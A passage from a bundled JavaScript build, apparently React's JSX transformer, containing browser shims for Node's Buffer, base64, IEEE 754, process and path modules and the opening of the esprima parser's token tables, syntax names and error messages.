arr.toArrayBuffer = BP.toArrayBuffer
return arr
}
// slice(start, end)
function clamp (index, len, defaultValue) {
if (typeof index !== 'number') return defaultValue
index = ~~index; // Coerce to integer.
if (index >= len) return len
if (index >= 0) return index
index += len
if (index >= 0) return index
return 0
}
function coerce (length) {
// Coerce length to a number (possibly NaN), round up
// in case it's fractional (e.g. 123.456) then do a
// double negate to coerce a NaN to 0. Easy, right?
length = ~~Math.ceil(+length)
return length < 0 ? 0 : length
}
function isArray (subject) {
return (Array.isArray || function (subject) {
return Object.prototype.toString.call(subject) === '[object Array]'
})(subject)
}
function isArrayish (subject) {
return isArray(subject) || Buffer.isBuffer(subject) ||
subject && typeof subject === 'object' &&
typeof subject.length === 'number'
}
function toHex (n) {
if (n < 16) return '0' + n.toString(16)
return n.toString(16)
}
function utf8ToBytes (str) {
var byteArray = []
for (var i = 0; i < str.length; i++) {
var b = str.charCodeAt(i)
if (b <= 0x7F)
byteArray.push(str.charCodeAt(i))
else {
var start = i
if (b >= 0xD800 && b <= 0xDFFF) i++
var h = encodeURIComponent(str.slice(start, i+1)).substr(1).split('%')
for (var j = 0; j < h.length; j++)
byteArray.push(parseInt(h[j], 16))
}
}
return byteArray
}
function asciiToBytes (str) {
var byteArray = []
for (var i = 0; i < str.length; i++) {
// Node's code seems to be doing this and not & 0x7F..
byteArray.push(str.charCodeAt(i) & 0xFF)
}
return byteArray
}
function utf16leToBytes (str) {
var c, hi, lo
var byteArray = []
for (var i = 0; i < str.length; i++) {
c = str.charCodeAt(i)
hi = c >> 8
lo = c % 256
byteArray.push(lo)
byteArray.push(hi)
}
return byteArray
}
function base64ToBytes (str) {
return base64.toByteArray(str)
}
function blitBuffer (src, dst, offset, length) {
var pos
for (var i = 0; i < length; i++) {
if ((i + offset >= dst.length) || (i >= src.length))
break
dst[i + offset] = src[i]
}
return i
}
function decodeUtf8Char (str) {
try {
return decodeURIComponent(str)
} catch (err) {
return String.fromCharCode(0xFFFD) // UTF 8 invalid char
}
}
/*
* We have to make sure that the value is a valid integer. This means that it
* is non-negative. It has no fractional component and that it does not
* exceed the maximum allowed value.
*/
function verifuint (value, max) {
assert(typeof value === 'number', 'cannot write a non-number as a number')
assert(value >= 0, 'specified a negative value for writing an unsigned value')
assert(value <= max, 'value is larger than maximum value for type')
assert(Math.floor(value) === value, 'value has a fractional component')
}
function verifsint (value, max, min) {
assert(typeof value === 'number', 'cannot write a non-number as a number')
assert(value <= max, 'value larger than maximum allowed value')
assert(value >= min, 'value smaller than minimum allowed value')
assert(Math.floor(value) === value, 'value has a fractional component')
}
function verifIEEE754 (value, max, min) {
assert(typeof value === 'number', 'cannot write a non-number as a number')
assert(value <= max, 'value larger than maximum allowed value')
assert(value >= min, 'value smaller than minimum allowed value')
}
function assert (test, message) {
if (!test) throw new Error(message || 'Failed assertion')
}
},{"base64-js":2,"ieee754":3}],2:[function(_dereq_,module,exports){
var lookup = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
;(function (exports) {
'use strict';
var Arr = (typeof Uint8Array !== 'undefined')
? Uint8Array
: Array
var ZERO = '0'.charCodeAt(0)
var PLUS = '+'.charCodeAt(0)
var SLASH = '/'.charCodeAt(0)
var NUMBER = '0'.charCodeAt(0)
var LOWER = 'a'.charCodeAt(0)
var UPPER = 'A'.charCodeAt(0)
function decode (elt) {
var code = elt.charCodeAt(0)
if (code === PLUS)
return 62 // '+'
if (code === SLASH)
return 63 // '/'
if (code < NUMBER)
return -1 //no match
if (code < NUMBER + 10)
return code - NUMBER + 26 + 26
if (code < UPPER + 26)
return code - UPPER
if (code < LOWER + 26)
return code - LOWER + 26
}
function b64ToByteArray (b64) {
var i, j, l, tmp, placeHolders, arr
if (b64.length % 4 > 0) {
throw new Error('Invalid string. Length must be a multiple of 4')
}
// the number of equal signs (place holders)
// if there are two placeholders, than the two characters before it
// represent one byte
// if there is only one, then the three characters before it represent 2 bytes
// this is just a cheap hack to not do indexOf twice
var len = b64.length
placeHolders = '=' === b64.charAt(len - 2) ? 2 : '=' === b64.charAt(len - 1) ? 1 : 0
// base64 is 4/3 + up to two characters of the original data
arr = new Arr(b64.length * 3 / 4 - placeHolders)
// if there are placeholders, only get up to the last complete 4 chars
l = placeHolders > 0 ? b64.length - 4 : b64.length
var L = 0
function push (v) {
arr[L++] = v
}
for (i = 0, j = 0; i < l; i += 4, j += 3) {
tmp = (decode(b64.charAt(i)) << 18) | (decode(b64.charAt(i + 1)) << 12) | (decode(b64.charAt(i + 2)) << 6) | decode(b64.charAt(i + 3))
push((tmp & 0xFF0000) >> 16)
push((tmp & 0xFF00) >> 8)
push(tmp & 0xFF)
}
if (placeHolders === 2) {
tmp = (decode(b64.charAt(i)) << 2) | (decode(b64.charAt(i + 1)) >> 4)
push(tmp & 0xFF)
} else if (placeHolders === 1) {
tmp = (decode(b64.charAt(i)) << 10) | (decode(b64.charAt(i + 1)) << 4) | (decode(b64.charAt(i + 2)) >> 2)
push((tmp >> 8) & 0xFF)
push(tmp & 0xFF)
}
return arr
}
function uint8ToBase64 (uint8) {
var i,
extraBytes = uint8.length % 3, // if we have 1 byte left, pad 2 bytes
output = "",
temp, length
function encode (num) {
return lookup.charAt(num)
}
function tripletToBase64 (num) {
return encode(num >> 18 & 0x3F) + encode(num >> 12 & 0x3F) + encode(num >> 6 & 0x3F) + encode(num & 0x3F)
}
// go through the array every three bytes, we'll deal with trailing stuff later
for (i = 0, length = uint8.length - extraBytes; i < length; i += 3) {
temp = (uint8[i] << 16) + (uint8[i + 1] << 8) + (uint8[i + 2])
output += tripletToBase64(temp)
}
// pad the end with zeros, but make sure to not forget the extra bytes
switch (extraBytes) {
case 1:
temp = uint8[uint8.length - 1]
output += encode(temp >> 2)
output += encode((temp << 4) & 0x3F)
output += '=='
break
case 2:
temp = (uint8[uint8.length - 2] << 8) + (uint8[uint8.length - 1])
output += encode(temp >> 10)
output += encode((temp >> 4) & 0x3F)
output += encode((temp << 2) & 0x3F)
output += '='
break
}
return output
}
module.exports.toByteArray = b64ToByteArray
module.exports.fromByteArray = uint8ToBase64
}())
},{}],3:[function(_dereq_,module,exports){
exports.read = function(buffer, offset, isLE, mLen, nBytes) {
var e, m,
eLen = nBytes * 8 - mLen - 1,
eMax = (1 << eLen) - 1,
eBias = eMax >> 1,
nBits = -7,
i = isLE ? (nBytes - 1) : 0,
d = isLE ? -1 : 1,
s = buffer[offset + i];
i += d;
e = s & ((1 << (-nBits)) - 1);
s >>= (-nBits);
nBits += eLen;
for (; nBits > 0; e = e * 256 + buffer[offset + i], i += d, nBits -= 8);
m = e & ((1 << (-nBits)) - 1);
e >>= (-nBits);
nBits += mLen;
for (; nBits > 0; m = m * 256 + buffer[offset + i], i += d, nBits -= 8);
if (e === 0) {
e = 1 - eBias;
} else if (e === eMax) {
return m ? NaN : ((s ? -1 : 1) * Infinity);
} else {
m = m + Math.pow(2, mLen);
e = e - eBias;
}
return (s ? -1 : 1) * m * Math.pow(2, e - mLen);
};
exports.write = function(buffer, value, offset, isLE, mLen, nBytes) {
var e, m, c,
eLen = nBytes * 8 - mLen - 1,
eMax = (1 << eLen) - 1,
eBias = eMax >> 1,
rt = (mLen === 23 ? Math.pow(2, -24) - Math.pow(2, -77) : 0),
i = isLE ? 0 : (nBytes - 1),
d = isLE ? 1 : -1,
s = value < 0 || (value === 0 && 1 / value < 0) ? 1 : 0;
value = Math.abs(value);
if (isNaN(value) || value === Infinity) {
m = isNaN(value) ? 1 : 0;
e = eMax;
} else {
e = Math.floor(Math.log(value) / Math.LN2);
if (value * (c = Math.pow(2, -e)) < 1) {
e--;
c *= 2;
}
if (e + eBias >= 1) {
value += rt / c;
} else {
value += rt * Math.pow(2, 1 - eBias);
}
if (value * c >= 2) {
e++;
c /= 2;
}
if (e + eBias >= eMax) {
m = 0;
e = eMax;
} else if (e + eBias >= 1) {
m = (value * c - 1) * Math.pow(2, mLen);
e = e + eBias;
} else {
m = value * Math.pow(2, eBias - 1) * Math.pow(2, mLen);
e = 0;
}
}
for (; mLen >= 8; buffer[offset + i] = m & 0xff, i += d, m /= 256, mLen -= 8);
e = (e << mLen) | m;
eLen += mLen;
for (; eLen > 0; buffer[offset + i] = e & 0xff, i += d, e /= 256, eLen -= 8);
buffer[offset + i - d] |= s * 128;
};
},{}],4:[function(_dereq_,module,exports){
// shim for using process in browser
var process = module.exports = {};
process.nextTick = (function () {
var canSetImmediate = typeof window !== 'undefined'
&& window.setImmediate;
var canPost = typeof window !== 'undefined'
&& window.postMessage && window.addEventListener
;
if (canSetImmediate) {
return function (f) { return window.setImmediate(f) };
}
if (canPost) {
var queue = [];
window.addEventListener('message', function (ev) {
var source = ev.source;
if ((source === window || source === null) && ev.data === 'process-tick') {
ev.stopPropagation();
if (queue.length > 0) {
var fn = queue.shift();
fn();
}
}
}, true);
return function nextTick(fn) {
queue.push(fn);
window.postMessage('process-tick', '*');
};
}
return function nextTick(fn) {
setTimeout(fn, 0);
};
})();
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.binding = function (name) {
throw new Error('process.binding is not supported');
}
// TODO(shtylman)
process.cwd = function () { return '/' };
process.chdir = function (dir) {
throw new Error('process.chdir is not supported');
};
},{}],5:[function(_dereq_,module,exports){
(function (process){
// Copyright Joyent, Inc. and other Node contributors.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
// resolves . and .. elements in a path array with directory names there
// must be no slashes, empty elements, or device names (c:\) in the array
// (so also no leading and trailing slashes - it does not distinguish
// relative and absolute paths)
function normalizeArray(parts, allowAboveRoot) {
// if the path tries to go above the root, `up` ends up > 0
var up = 0;
for (var i = parts.length - 1; i >= 0; i--) {
var last = parts[i];
if (last === '.') {
parts.splice(i, 1);
} else if (last === '..') {
parts.splice(i, 1);
up++;
} else if (up) {
parts.splice(i, 1);
up--;
}
}
// if the path is allowed to go above the root, restore leading ..s
if (allowAboveRoot) {
for (; up--; up) {
parts.unshift('..');
}
}
return parts;
}
// Split a filename into [root, dir, basename, ext], unix version
// 'root' is just a slash, or nothing.
var splitPathRe =
/^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;
var splitPath = function(filename) {
return splitPathRe.exec(filename).slice(1);
};
// path.resolve([from ...], to)
// posix version
exports.resolve = function() {
var resolvedPath = '',
resolvedAbsolute = false;
for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {
var path = (i >= 0) ? arguments[i] : process.cwd();
// Skip empty and invalid entries
if (typeof path !== 'string') {
throw new TypeError('Arguments to path.resolve must be strings');
} else if (!path) {
continue;
}
resolvedPath = path + '/' + resolvedPath;
resolvedAbsolute = path.charAt(0) === '/';
}
// At this point the path should be resolved to a full absolute path, but
// handle relative paths to be safe (might happen when process.cwd() fails)
// Normalize the path
resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {
return !!p;
}), !resolvedAbsolute).join('/');
return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';
};
// path.normalize(path)
// posix version
exports.normalize = function(path) {
var isAbsolute = exports.isAbsolute(path),
trailingSlash = substr(path, -1) === '/';
// Normalize the path
path = normalizeArray(filter(path.split('/'), function(p) {
return !!p;
}), !isAbsolute).join('/');
if (!path && !isAbsolute) {
path = '.';
}
if (path && trailingSlash) {
path += '/';
}
return (isAbsolute ? '/' : '') + path;
};
// posix version
exports.isAbsolute = function(path) {
return path.charAt(0) === '/';
};
// posix version
exports.join = function() {
var paths = Array.prototype.slice.call(arguments, 0);
return exports.normalize(filter(paths, function(p, index) {
if (typeof p !== 'string') {
throw new TypeError('Arguments to path.join must be strings');
}
return p;
}).join('/'));
};
// path.relative(from, to)
// posix version
exports.relative = function(from, to) {
from = exports.resolve(from).substr(1);
to = exports.resolve(to).substr(1);
function trim(arr) {
var start = 0;
for (; start < arr.length; start++) {
if (arr[start] !== '') break;
}
var end = arr.length - 1;
for (; end >= 0; end--) {
if (arr[end] !== '') break;
}
if (start > end) return [];
return arr.slice(start, end - start + 1);
}
var fromParts = trim(from.split('/'));
var toParts = trim(to.split('/'));
var length = Math.min(fromParts.length, toParts.length);
var samePartsLength = length;
for (var i = 0; i < length; i++) {
if (fromParts[i] !== toParts[i]) {
samePartsLength = i;
break;
}
}
var outputParts = [];
for (var i = samePartsLength; i < fromParts.length; i++) {
outputParts.push('..');
}
outputParts = outputParts.concat(toParts.slice(samePartsLength));
return outputParts.join('/');
};
exports.sep = '/';
exports.delimiter = ':';
exports.dirname = function(path) {
var result = splitPath(path),
root = result[0],
dir = result[1];
if (!root && !dir) {
// No dirname whatsoever
return '.';
}
if (dir) {
// It has a dirname, strip trailing slash
dir = dir.substr(0, dir.length - 1);
}
return root + dir;
};
exports.basename = function(path, ext) {
var f = splitPath(path)[2];
// TODO: make this comparison case-insensitive on windows?
if (ext && f.substr(-1 * ext.length) === ext) {
f = f.substr(0, f.length - ext.length);
}
return f;
};
exports.extname = function(path) {
return splitPath(path)[3];
};
function filter (xs, f) {
if (xs.filter) return xs.filter(f);
var res = [];
for (var i = 0; i < xs.length; i++) {
if (f(xs[i], i, xs)) res.push(xs[i]);
}
return res;
}
// String.prototype.substr - negative index don't work in IE8
var substr = 'ab'.substr(-1) === 'b'
? function (str, start, len) { return str.substr(start, len) }
: function (str, start, len) {
if (start < 0) start = str.length + start;
return str.substr(start, len);
}
;
}).call(this,_dereq_("/Users/poshannessy/FB/code/react/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js"))
},{"/Users/poshannessy/FB/code/react/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js":4}],6:[function(_dereq_,module,exports){
/*
Copyright (C) 2013 Ariya Hidayat <ariya.hidayat@gmail.com>
Copyright (C) 2013 Thaddee Tyl <thaddee.tyl@gmail.com>
Copyright (C) 2012 Ariya Hidayat <ariya.hidayat@gmail.com>
Copyright (C) 2012 Mathias Bynens <mathias@qiwi.be>
Copyright (C) 2012 Joost-Wim Boekesteijn <joost-wim@boekesteijn.nl>
Copyright (C) 2012 Kris Kowal <kris.kowal@cixar.com>
Copyright (C) 2012 Yusuke Suzuki <utatane.tea@gmail.com>
Copyright (C) 2012 Arpad Borsos <arpad.borsos@googlemail.com>
Copyright (C) 2011 Ariya Hidayat <ariya.hidayat@gmail.com>
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*jslint bitwise:true plusplus:true */
/*global esprima:true, define:true, exports:true, window: true,
throwError: true, generateStatement: true, peek: true,
parseAssignmentExpression: true, parseBlock: true,
parseClassExpression: true, parseClassDeclaration: true, parseExpression: true,
parseForStatement: true,
parseFunctionDeclaration: true, parseFunctionExpression: true,
parseFunctionSourceElements: true, parseVariableIdentifier: true,
parseImportSpecifier: true,
parseLeftHandSideExpression: true, parseParams: true, validateParam: true,
parseSpreadOrAssignmentExpression: true,
parseStatement: true, parseSourceElement: true, parseModuleBlock: true, parseConciseBody: true,
advanceXJSChild: true, isXJSIdentifierStart: true, isXJSIdentifierPart: true,
scanXJSStringLiteral: true, scanXJSIdentifier: true,
parseXJSAttributeValue: true, parseXJSChild: true, parseXJSElement: true, parseXJSExpressionContainer: true, parseXJSEmptyExpression: true,
parseTypeAnnotation: true, parseTypeAnnotatableIdentifier: true,
parseYieldExpression: true
*/
(function (root, factory) {
'use strict';
// Universal Module Definition (UMD) to support AMD, CommonJS/Node.js,
// Rhino, and plain browser loading.
if (typeof define === 'function' && define.amd) {
define(['exports'], factory);
} else if (typeof exports !== 'undefined') {
factory(exports);
} else {
factory((root.esprima = {}));
}
}(this, function (exports) {
'use strict';
var Token,
TokenName,
FnExprTokens,
Syntax,
PropertyKind,
Messages,
Regex,
SyntaxTreeDelegate,
XHTMLEntities,
ClassPropertyType,
source,
strict,
index,
lineNumber,
lineStart,
length,
delegate,
lookahead,
state,
extra;
Token = {
BooleanLiteral: 1,
EOF: 2,
Identifier: 3,
Keyword: 4,
NullLiteral: 5,
NumericLiteral: 6,
Punctuator: 7,
StringLiteral: 8,
RegularExpression: 9,
Template: 10,
XJSIdentifier: 11,
XJSText: 12
};
TokenName = {};
TokenName[Token.BooleanLiteral] = 'Boolean';
TokenName[Token.EOF] = '<end>';
TokenName[Token.Identifier] = 'Identifier';
TokenName[Token.Keyword] = 'Keyword';
TokenName[Token.NullLiteral] = 'Null';
TokenName[Token.NumericLiteral] = 'Numeric';
TokenName[Token.Punctuator] = 'Punctuator';
TokenName[Token.StringLiteral] = 'String';
TokenName[Token.XJSIdentifier] = 'XJSIdentifier';
TokenName[Token.XJSText] = 'XJSText';
TokenName[Token.RegularExpression] = 'RegularExpression';
// A function following one of those tokens is an expression.
FnExprTokens = ['(', '{', '[', 'in', 'typeof', 'instanceof', 'new',
'return', 'case', 'delete', 'throw', 'void',
// assignment operators
'=', '+=', '-=', '*=', '/=', '%=', '<<=', '>>=', '>>>=',
'&=', '|=', '^=', ',',
// binary/unary operators
'+', '-', '*', '/', '%', '++', '--', '<<', '>>', '>>>', '&',
'|', '^', '!', '~', '&&', '||', '?', ':', '===', '==', '>=',
'<=', '<', '>', '!=', '!=='];
Syntax = {
ArrayExpression: 'ArrayExpression',
ArrayPattern: 'ArrayPattern',
ArrowFunctionExpression: 'ArrowFunctionExpression',
AssignmentExpression: 'AssignmentExpression',
BinaryExpression: 'BinaryExpression',
BlockStatement: 'BlockStatement',
BreakStatement: 'BreakStatement',
CallExpression: 'CallExpression',
CatchClause: 'CatchClause',
ClassBody: 'ClassBody',
ClassDeclaration: 'ClassDeclaration',
ClassExpression: 'ClassExpression',
ClassHeritage: 'ClassHeritage',
ComprehensionBlock: 'ComprehensionBlock',
ComprehensionExpression: 'ComprehensionExpression',
ConditionalExpression: 'ConditionalExpression',
ContinueStatement: 'ContinueStatement',
DebuggerStatement: 'DebuggerStatement',
DoWhileStatement: 'DoWhileStatement',
EmptyStatement: 'EmptyStatement',
ExportDeclaration: 'ExportDeclaration',
ExportBatchSpecifier: 'ExportBatchSpecifier',
ExportSpecifier: 'ExportSpecifier',
ExpressionStatement: 'ExpressionStatement',
ForInStatement: 'ForInStatement',
ForOfStatement: 'ForOfStatement',
ForStatement: 'ForStatement',
FunctionDeclaration: 'FunctionDeclaration',
FunctionExpression: 'FunctionExpression',
Identifier: 'Identifier',
IfStatement: 'IfStatement',
ImportDeclaration: 'ImportDeclaration',
ImportSpecifier: 'ImportSpecifier',
LabeledStatement: 'LabeledStatement',
Literal: 'Literal',
LogicalExpression: 'LogicalExpression',
MemberExpression: 'MemberExpression',
MethodDefinition: 'MethodDefinition',
ModuleDeclaration: 'ModuleDeclaration',
NewExpression: 'NewExpression',
ObjectExpression: 'ObjectExpression',
ObjectPattern: 'ObjectPattern',
Program: 'Program',
Property: 'Property',
ReturnStatement: 'ReturnStatement',
SequenceExpression: 'SequenceExpression',
SpreadElement: 'SpreadElement',
SwitchCase: 'SwitchCase',
SwitchStatement: 'SwitchStatement',
TaggedTemplateExpression: 'TaggedTemplateExpression',
TemplateElement: 'TemplateElement',
TemplateLiteral: 'TemplateLiteral',
ThisExpression: 'ThisExpression',
ThrowStatement: 'ThrowStatement',
TryStatement: 'TryStatement',
TypeAnnotatedIdentifier: 'TypeAnnotatedIdentifier',
TypeAnnotation: 'TypeAnnotation',
UnaryExpression: 'UnaryExpression',
UpdateExpression: 'UpdateExpression',
VariableDeclaration: 'VariableDeclaration',
VariableDeclarator: 'VariableDeclarator',
WhileStatement: 'WhileStatement',
WithStatement: 'WithStatement',
XJSIdentifier: 'XJSIdentifier',
XJSEmptyExpression: 'XJSEmptyExpression',
XJSExpressionContainer: 'XJSExpressionContainer',
XJSElement: 'XJSElement',
XJSClosingElement: 'XJSClosingElement',
XJSOpeningElement: 'XJSOpeningElement',
XJSAttribute: 'XJSAttribute',
XJSText: 'XJSText',
YieldExpression: 'YieldExpression'
};
PropertyKind = {
Data: 1,
Get: 2,
Set: 4
};
ClassPropertyType = {
'static': 'static',
prototype: 'prototype'
};
// Error messages should be identical to V8.
Messages = {
UnexpectedToken: 'Unexpected token %0',
UnexpectedNumber: 'Unexpected number',
UnexpectedString: 'Unexpected string',
UnexpectedIdentifier: 'Unexpected identifier',
UnexpectedReserved: 'Unexpected reserved word',
UnexpectedTemplate: 'Unexpected quasi %0',
UnexpectedEOS: 'Unexpected end of input',
NewlineAfterThrow: 'Illegal newline after throw',
InvalidRegExp: 'Invalid regular expression',
UnterminatedRegExp: 'Invalid regular expression: missing /',
InvalidLHSInAssignment: 'Invalid left-hand side in assignment',
InvalidLHSInFormalsList: 'Invalid left-hand side in formals list',
InvalidLHSInForIn: 'Invalid left-hand side in for-in',
MultipleDefaultsInSwitch: 'More than one default clause in switch statement',
NoCatchOrFinally: 'Missing catch or finally after try',
UnknownLabel: 'Undefined label \'%0\'',
Redeclaration: '%0 \'%1\' has already been declared',
IllegalContinue: 'Illegal continue statement',
IllegalBreak: 'Illegal break statement',
IllegalDuplicateClassProperty: 'Illegal duplicate property in class definition',
IllegalReturn: 'Illegal return statement',
IllegalYield: 'Illegal yield expression',
IllegalSpread: 'Illegal spread element',
StrictModeWith: 'Strict mode code may not include a with statement',
StrictCatchVariable: 'Catch variable may not be eval or arguments in strict mode',
StrictVarName: 'Variable name may not be eval or arguments in strict mode',
StrictParamName: 'Parameter name eval or arguments is not allowed in strict mode',
StrictParamDupe: 'Strict mode function may not have duplicate parameter names',
ParameterAfterRestParameter: 'Rest parameter must be final parameter of an argument list',
DefaultRestParameter: 'Rest parameter can not have a default value',
ElementAfterSpreadElement: 'Spread must be the final element of an element list',
ObjectPatternAsRestParameter: 'Invalid rest parameter',
ObjectPatternAsSpread: 'Invalid spread argument',
StrictFunctionName: 'Function name may not be eval or arguments in strict mode',
StrictOctalLiteral: 'Octal literals are not allowed in strict mode.',
StrictDelete: 'Delete of an unqualified identifier in strict mode.',
StrictDuplicateProperty: 'Duplicate data property in object literal not allowed in strict mode',
AccessorDataProperty: 'Object literal may not have data and accessor property with the same name',
AccessorGetSet: 'Object literal may not have multiple get/set accessors with the same name',
StrictLHSAssignment: 'Assignment to eval or arguments is not allowed in strict mode',
StrictLHSPostfix: 'Postfix increment/decrement may not have eval or arguments operand in strict mode',
StrictLHSPrefix: 'Prefix increment/decrement may not have eval or arguments operand in strict mode',
StrictReservedWord: 'Use of future reserved word in strict mode',
NewlineAfterModule: 'Illegal newline after module',
NoFromAfterImport: 'Missing from after import',
InvalidModuleSpecifier: 'Invalid module specifier',
NestedModule: 'Module declaration can not be nested',
NoYieldInGenerator: 'Missing yield in generator',
NoUnintializedConst: 'Const must be initialized',
ComprehensionRequiresBlock: 'Comprehension must have at least one block',
ComprehensionError: 'Comprehension Error',
EachNotAllowed: 'Each is not supported',
InvalidXJSTagName: 'XJS tag name can not be empty',
InvalidXJSAttributeValue: 'XJS value should be either an expression or a quoted XJS text',
ExpectedXJSClosingTag: 'Expected corresponding XJS closing tag for %0'
};
// See also tools/generate-unicode-regex.py.
Regex = {
NonAsciiIdentifierStart: new RegExp('[\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u